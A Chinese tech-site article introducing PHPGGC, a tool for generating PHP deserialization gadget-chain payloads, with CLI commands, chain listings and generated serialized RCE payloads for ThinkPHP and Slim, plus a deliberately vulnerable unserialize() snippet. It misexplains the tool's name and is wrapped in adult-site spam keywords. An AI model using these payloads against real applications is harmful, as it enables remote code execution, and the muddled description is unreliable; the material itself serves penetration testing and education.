日韩成人免费在线_国产成人一二_精品国产免费人成电影在线观..._日本一区二区三区久久久久久久久不

當前位置:首頁 > 科技  > 軟件

PHP安全測試秘密武器 PHPGGC

來源: 責編: 時間:2024-07-11 17:34:57 780觀看
導讀概述PHPGGC,全稱為“PHP Guzzle Getters and Setters”,是一個庫,包含了預構建的Guzzle HTTP客戶端請求對象,這些對象可以被用來利用PHP應用中的反射或魔術方法漏洞。它的核心價值在于簡化了對PHP應用程序潛在漏洞的探測

概述

PHPGGC,全稱為“PHP Guzzle Getters and Setters”,是一個庫,包含了預構建的Guzzle HTTP客戶端請求對象,這些對象可以被用來利用PHP應用中的反射或魔術方法漏洞。它的核心價值在于簡化了對PHP應用程序潛在漏洞的探測過程,特別是對于那些可能存在的命令注入漏洞。TFZ28資訊網——每日最新資訊28at.com

PHPGGC是一個unserialize()有效負載庫,沿著一個從命令行或編程方式生成它們的工具。當在您沒有代碼的網站上遇到未序列化時,或者只是試圖構建漏洞時,此工具允許您生成有效負載,而無需通過查找小工具并組合它們的繁瑣步驟。它可以被看作是frohoff的ysoserial的等價物,但用于PHP。TFZ28資訊網——每日最新資訊28at.com

目前,該工具支持小工具鏈,如:CodeIgniter 4,Doctrine,Drupal 7,Guzzle,Laravel,Magento,Monolog,Phalcon,Podio,Slim,SwiftMailer,Symfony,Wordpress,Yii和ZendFramework。TFZ28資訊網——每日最新資訊28at.com

技術分析

該項目基于PHP編寫,并且利用了Guzzle,這是一個流行的HTTP客戶端庫,能夠處理HTTP請求。PHPGGC通過創建特殊的GETters和SETters,它們在發送HTTP請求時可以被惡意構造,從而觸發不安全的代碼執行。這種構造方式使得安全研究人員能夠在各種不同的場景中快速驗證是否存在代碼注入風險,而無需手動編寫復雜的payload。TFZ28資訊網——每日最新資訊28at.com

PHPGGC還支持命令行界面(CLI),允許用戶輕松地生成或搜索所需的GGC有效載荷。此外,其代碼結構清晰,易于擴展,意味著你可以根據需要添加新的GGC類型或者自定義功能。TFZ28資訊網——每日最新資訊28at.com

應用場景

  • 滲透測試:在進行安全審計時,可以直接使用PHPGGC生成的payload嘗試觸發潛在的命令注入漏洞。
  • 教育與學習:理解如何構建這類攻擊載荷有助于提高開發者的安全意識。
  • 自動化安全工具:集成到自動化安全掃描工具中,可以大規模檢測目標系統的安全性。

命令行使用

運行PHPGGC需要 PHP >= 5.6。TFZ28資訊網——每日最新資訊28at.com

下載項目

git clone https://github.com/ambionics/phpggc.gitcd phpggc/

運行./phpggc -l獲取gadget鏈列表。TFZ28資訊網——每日最新資訊28at.com

$ php ./phpggc -lGadget Chains-------------NAME                                      VERSION                                                 TYPE                      VECTOR          I    Bitrix/RCE1                               17.x.x <= 22.0.300                                      RCE: Function Call        __destruct           CakePHP/RCE1                              ? <= 3.9.6                                              RCE: Command              __destruct           CakePHP/RCE2                              ? <= 4.2.3                                              RCE: Function Call        __destruct           CodeIgniter4/FD1                          <= 4.3.6                                                File delete               __destruct           CodeIgniter4/FD2                          <= 4.3.7                                                File delete               __destruct    Laravel/RCE10                             5.6.0 <= 9.1.8+                                         RCE: Function Call        __toString           Laravel/RCE11                             5.4.0 <= 9.1.8+                                         RCE: Function Call        __destruct           Laravel/RCE12                             5.8.35, 7.0.0, 9.3.10                                   RCE: Function Call        __destruct      *    Laravel/RCE13                             5.3.0 <= 9.5.1+                                         RCE: Function Call        __destruct      *    Laravel/RCE14                             5.3.0 <= 9.5.1+                                         RCE: Function Call        __destruct           Laravel/RCE15                             5.5.0 <= v9.5.1+                                        RCE: Function Call        __destruct           Laravel/RCE16                             5.6.0 <= v9.5.1+                                        RCE: Function Call        __destruct           Laravel/RCE17                             10.31.0                                                 RCE: Function Call        __destruct           Laravel/RCE18                             10.31.0                                                 RCE: PHP Code             __destruct      *    Laravel/RCE19                             10.34                                                   RCE: Command              __destruct     Symfony/RCE14                             1.2.0 <= 1.2.12                                         RCE: Function Call        __wakeup        *    Symfony/RCE15                             1.0.0 <= 1.1.9                                          RCE: Function Call        __wakeup        *    Symfony/RCE16                             1.1.0 <= 1.5.18                                         RCE: Function Call        Serializable    *    TCPDF/FD1                                 <= 6.3.5                                                File delete               __destruct      *    ThinkPHP/FW1                              5.0.4-5.0.24                                            File write                __destruct      *    ThinkPHP/FW2                              5.0.0-5.0.03                                            File write                __destruct      *    ThinkPHP/RCE1                             5.1.x-5.2.x                                             RCE: Function Call        __destruct      *    ThinkPHP/RCE2                             5.0.24                                                  RCE: Function Call        __destruct      *    ThinkPHP/RCE3                             -6.0.1+                                                 RCE: Function Call        __destruct           ThinkPHP/RCE4                             -6.0.1+                                                 RCE: Function Call        __destruct           Typo3/FD1                                 4.5.35 <= 10.4.1                                        File delete               __destruct      *    ...

過濾器小工具鏈 `ThinkPHP。TFZ28資訊網——每日最新資訊28at.com

$ php ./phpggc -l ThinkPHPGadget Chains-------------NAME             VERSION         TYPE                  VECTOR        I    ThinkPHP/FW1     5.0.4-5.0.24    File write            __destruct    *    ThinkPHP/FW2     5.0.0-5.0.03    File write            __destruct    *    ThinkPHP/RCE1    5.1.x-5.2.x     RCE: Function Call    __destruct    *    ThinkPHP/RCE2    5.0.24          RCE: Function Call    __destruct    *    ThinkPHP/RCE3    -6.0.1+         RCE: Function Call    __destruct         ThinkPHP/RCE4    -6.0.1+         RCE: Function Call    __destruct

每個小工具鏈都有。TFZ28資訊網——每日最新資訊28at.com

  • Name:框架/庫的名稱
  • Version:小工具所使用的框架/庫的版本
  • Type:利用類型:RCE,文件寫入,文件讀取,包含
  • Vector:反序列化后觸發鏈的向量(__destruct(),__toString(),offsetGet(),...)
  • Informations:關于鏈條的其他信息

使用-i獲取有關鏈的詳細信息TFZ28資訊網——每日最新資訊28at.com

$ php ./phpggc -i ThinkPHP/RCE4Name           : ThinkPHP/RCE4Version        : -6.0.1+Type           : RCE: Function CallVector         : __destruct./phpggc ThinkPHP/RCE4 <function> <parameter>

運行./phpggc <gadget-chain> [parameters]以獲取有效負載。TFZ28資訊網——每日最新資訊28at.com

$ php ./phpggc ThinkPHP/RCE4 assert 'phpinfo()'O:17:"think/model/Pivot":9:{s:19:"think/Modelexists";b:1;s:18:"think/Modelforce";b:1;s:21:"think/ModellazySave";b:1;s:9:"*suffix";O:17:"think/model/Pivot":9:{s:19:"think/Modelexists";N;s:18:"think/Modelforce";N;s:21:"think/ModellazySave";N;s:9:"*suffix";N;s:17:"think/Modeldata";a:1:{s:3:"key";a:1:{s:3:"key";s:9:"phpinfo()";}}s:21:"think/ModelwithAttr";a:1:{s:3:"key";a:1:{s:3:"key";s:6:"assert";}}s:7:"*json";a:1:{i:0;s:3:"key";}s:12:"*jsonAssoc";b:1;s:12:"*withEvent";N;}s:17:"think/Modeldata";a:1:{s:3:"key";a:1:{s:3:"key";s:9:"phpinfo()";}}s:21:"think/ModelwithAttr";N;s:7:"*json";N;s:12:"*jsonAssoc";N;s:12:"*withEvent";b:0;}

Wrapper

例如,如果易受攻擊的代碼看起來像這樣:tinywan_wrapper.php 腳本TFZ28資訊網——每日最新資訊28at.com

<?php$data = unserialize($_GET['data']);print $data['message'];

執行結果TFZ28資訊網——每日最新資訊28at.com

php ./phpggc -w ./my_wrapper.php slim/rce1 system idPHP Notice:  Undefined index: data in /home/www/build/phpggc/my_wrapper.php on line 2PHP Notice:  Trying to access array offset on value of type bool in /home/www/build/phpggc/tinywan_wrapper.php on line 3ERROR: Wrapper file does not define process_parameters(), process_object() or process_serialized()

你可以使用__toString()鏈,像這樣包裝它:tinywan_wrapper2.php 腳本TFZ28資訊網——每日最新資訊28at.com

php ./phpggc -w ./tinywan_wrapper2.php slim/rce1 system ida:1:{s:7:"message";O:18:"Slim/Http/Response":2:{s:10:"*headers";O:8:"Slim/App":1:{s:19:"Slim/Appcontainer";O:14:"

TFZ28資訊網——每日最新資訊28at.com

本文鏈接:http://m.www897cc.com/showinfo-26-100471-0.htmlPHP安全測試秘密武器 PHPGGC

聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。郵件:2376512515@qq.com

上一篇: Go語言實現Base64、Base58編碼與解碼,很簡單

下一篇: 使用Spring Boot 3.x實現多平臺購票信息一致性保障

標簽:
  • 熱門焦點
Top 日韩成人免费在线_国产成人一二_精品国产免费人成电影在线观..._日本一区二区三区久久久久久久久不
国产精品国产三级国产普通话三级 | 国产乱码精品一区二区三区av | 国产精品大全| 免费视频亚洲| 99国内精品| 韩国精品一区二区三区| 伊人夜夜躁av伊人久久| 亚洲精品五月天| 亚洲女优在线| 久久久亚洲高清| 欧美精品免费看| 国产精品视频一区二区三区| 韩国女主播一区二区三区| 91久久精品视频| 亚洲午夜视频| 久久中文字幕一区二区三区| 欧美日韩网站| 伊人久久大香线| 一区二区国产在线观看| 久久精品国产精品| 欧美日本久久| 国产一区二区三区久久精品| 日韩午夜中文字幕| 欧美在线播放一区| 欧美美女bbbb| 国产一区二区三区奇米久涩| 亚洲精品在线观看免费| 欧美在线亚洲| 欧美日韩亚洲精品内裤| 欧美日韩国产123| 国产一区二区成人| 在线一区日本视频| 免费av成人在线| 国产欧亚日韩视频| 日韩视频久久| 麻豆成人综合网| 国产乱码精品一区二区三区五月婷| 在线观看中文字幕亚洲| 午夜精品视频| 欧美日韩亚洲成人| 亚洲国产精品久久久久秋霞蜜臀| 性久久久久久| 欧美肉体xxxx裸体137大胆| 亚洲高清视频一区| 久久国产一区二区| 国产精品爽黄69| 中文av一区二区| 欧美精品 日韩| 亚洲电影免费在线观看| 久久精品视频va| 国产精品一区二区三区四区| 一本一道久久综合狠狠老精东影业| 麻豆久久婷婷| 国产午夜精品一区二区三区欧美| 亚洲私人黄色宅男| 欧美日韩国产999| 亚洲精品国久久99热| 美腿丝袜亚洲色图| 黄页网站一区| 久久精品国产99| 国产欧美另类| 亚洲欧美一区二区激情| 国产精品成人国产乱一区| 亚洲精品老司机| 欧美jizzhd精品欧美喷水 | 亚洲激情电影在线| 久久免费一区| 国产一区二区三区高清在线观看| 亚洲永久视频| 国产精品高精视频免费| 亚洲调教视频在线观看| 欧美日韩亚洲一区三区 | 久久精品91久久久久久再现| 国产精品一区二区在线观看网站| 亚洲视频网站在线观看| 欧美色另类天堂2015| 亚洲视频999| 欧美色中文字幕| 中文精品视频| 国产精品高潮粉嫩av| 激情五月***国产精品| 久久久久国产精品厨房| 久久av在线| 国产情侣久久| 久久久国产视频91| 激情欧美日韩一区| 老司机一区二区三区| 亚洲电影在线| 欧美精品123区| 亚洲最新在线| 国产精品美女久久久久久免费 | 久久在线免费观看视频| 亚洲第一福利视频| 欧美精品福利视频| av不卡在线观看| 国产精品久久久久久久久久久久久久 | 麻豆精品网站| 亚洲成人在线视频播放| 欧美成年人网站| 亚洲精品资源美女情侣酒店| 欧美日韩免费一区| 亚洲伊人一本大道中文字幕| 国产日韩欧美| 久久亚洲春色中文字幕| 亚洲欧洲一区二区三区久久| 欧美日韩国产首页| 午夜精品电影| 国内欧美视频一区二区| 老司机午夜免费精品视频 | 欧美一区二区在线| 一区二区三区在线看| 欧美激情一区二区三区不卡| 国产精品99久久久久久白浆小说 | 久久亚洲欧美国产精品乐播| 亚洲成人中文| 欧美日韩精品欧美日韩精品一| 亚洲一区二区精品视频| 国产一区二区成人久久免费影院| 毛片一区二区| 一区二区成人精品| 国产精品日日摸夜夜添夜夜av| 久久久久欧美| 夜夜嗨av一区二区三区四区| 国产精品资源| 美女黄网久久| 亚洲特色特黄| 狠狠综合久久| 欧美日韩亚洲视频一区| 亚洲淫性视频| 在线日韩中文字幕| 欧美视频日韩视频| 久久久精彩视频| 亚洲毛片播放| 国产小视频国产精品| 欧美精品日韩精品| 欧美在线播放高清精品| 亚洲精品影视| 国产一区二区观看| 欧美理论电影在线播放| 欧美伊人久久久久久午夜久久久久 | 欧美日韩亚洲一区二区| 久久精品国产久精国产爱| 日韩视频免费| 精品91视频| 欧美激情五月| 日韩亚洲不卡在线| 国产精品主播| 欧美人交a欧美精品| 欧美一区二区日韩一区二区| 亚洲精品美女在线观看播放| 国产欧美精品国产国产专区| 欧美国产日韩亚洲一区| 欧美专区在线| 在线综合视频| 亚洲国产精品一区二区www| 国产人成精品一区二区三| 欧美精品在欧美一区二区少妇| 久久福利电影| 亚洲在线第一页| av成人动漫| 亚洲电影在线观看| 国产一区二区久久| 国产精品入口福利| 欧美亚州在线观看| 欧美精品大片| 欧美福利视频一区| 久久免费午夜影院| 欧美一级片久久久久久久| 亚洲视频中文字幕| 亚洲美女中文字幕| 亚洲激情影院| 在线色欧美三级视频| 国内精品免费在线观看| 国产精品日本| 欧美性猛交xxxx乱大交蜜桃| 欧美激情va永久在线播放| 久久久噜噜噜久久| 欧美亚洲一区二区在线观看| 亚洲婷婷在线| 欧美日韩国产大片| 欧美成年人视频网站欧美| 久久人人爽国产| 久久精品中文字幕免费mv| 西西裸体人体做爰大胆久久久| 亚洲一区二区免费| 一区二区三区久久| 一本大道av伊人久久综合| 亚洲片国产一区一级在线观看| 亚洲国产精品专区久久| 在线日韩中文字幕| 亚洲缚视频在线观看| 一区视频在线播放| 影音欧美亚洲| 在线观看一区二区精品视频| 精品91在线| 亚洲国产成人av在线| 在线免费日韩片| 亚洲第一二三四五区| 亚洲国产精品久久久| 亚洲黄色有码视频| 亚洲精品视频免费| 亚洲免费观看高清完整版在线观看| 亚洲精品美女久久久久| 一区二区成人精品 |